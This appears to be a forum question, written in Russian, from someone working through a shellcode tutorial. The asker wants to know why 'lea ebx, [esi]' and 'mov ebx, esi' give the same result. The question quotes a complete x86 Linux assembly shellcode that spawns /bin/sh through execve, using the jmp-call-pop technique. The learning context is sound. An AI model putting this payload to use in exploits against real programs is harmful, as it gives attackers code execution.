В чем разница между mov ebx, esi и lea ebx, [esi]
Я работаю над упражнением в руководстве по шеллкодерам.
Section .text
global _start
_start:
jmp short GotoCall
shellcode:
pop esi
xor eax, eax
mov byte [esi + 7], al
lea ebx, [esi]
mov long [esi + 8], ebx
mov long [esi + 12], eax
mov byte al, 0x0b
mov ebx, esi
lea ecx, [esi + 8]
lea edx, [esi + 12]
int 0x80
GotoCall:
Call shellcode
db ‘/bin/shJAAAAKKKK’
Этот код работает нормально, но я не понимаю строки lea ebx, [esi]
а также mov ebx, esi
они оба хранят одно и то же значение в ebx. Фактически, если я запускаю его через gdb, я вижу, что значения регистра не меняются.
Я понимаю, что mov обращается к значению по адресу и оставляет доступ только по адресу. Если в инструкции mov в этом сценарии были скобки вокруг esi, как в mov ebx, [esi] - тогда я вижу разницу, но это не тот случай, что мне не хватает?